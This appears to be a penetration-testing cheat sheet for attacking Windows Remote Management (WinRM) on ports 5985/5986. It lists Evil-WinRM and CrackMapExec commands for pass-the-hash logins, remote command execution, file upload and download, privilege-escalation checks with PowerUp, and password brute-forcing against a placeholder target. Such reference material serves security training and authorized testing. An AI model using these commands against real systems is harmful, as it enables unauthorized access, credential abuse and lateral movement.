File Transfer & Remote
5985 - WinRM
WinRM enumeration and exploitation: Evil-WinRM, PowerShell remoting, and pass-the-hash.
Documentation Index
Fetch the complete documentation index at: /llms.txt
Use this file to discover all available pages before exploring further.
WinRM enumeration and exploitation: Evil-WinRM, PowerShell remoting, and pass-the-hash.
nmap -sV -sC -p 5985,5986 TARGET
| Port | Protocol |
|---|---|
| 5985 | HTTP (WinRM) |
| 5986 | HTTPS (WinRM) |
evil-winrm -i TARGET -u user -p 'password'
evil-winrm -i TARGET -u user -H NTLM_HASH
evil-winrm -i TARGET -u user -p 'password' -S
*Evil-WinRM* PS> upload /local/path/file.exe C:\Windows\Temp\file.exe
*Evil-WinRM* PS> download C:\Users\admin\Desktop\flag.txt /tmp/flag.txt
evil-winrm -i TARGET -u user -p 'password' -s /opt/scripts/
*Evil-WinRM* PS> PowerUp.ps1
*Evil-WinRM* PS> Invoke-AllChecks
crackmapexec winrm TARGET -u user -p password
crackmapexec winrm TARGET -u user -H NTLM_HASH
crackmapexec winrm TARGET -u user -p password -x "whoami"
crackmapexec winrm TARGET -u user -p password -X "Get-Process"
| Flag | Description |
|---|---|
-x | CMD command |
-X | PowerShell command |
$cred = Get-Credential
Enter-PSSession -ComputerName TARGET -Credential $cred
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami }
crackmapexec winrm TARGET -u users.txt -p passwords.txt
# -H takes ONLY the 32-char NT hash (no LM half, no colon)
evil-winrm -i TARGET -u Administrator -H NTLM_HASH
| Check | Command |
|---|---|
| Login | evil-winrm -i TARGET -u user -p pass |
| PtH | evil-winrm -i TARGET -u user -H HASH |
| Exec CMD | crackmapexec winrm TARGET -u user -p pass -x "whoami" |
| Brute-force | crackmapexec winrm TARGET -u users.txt -p pass.txt |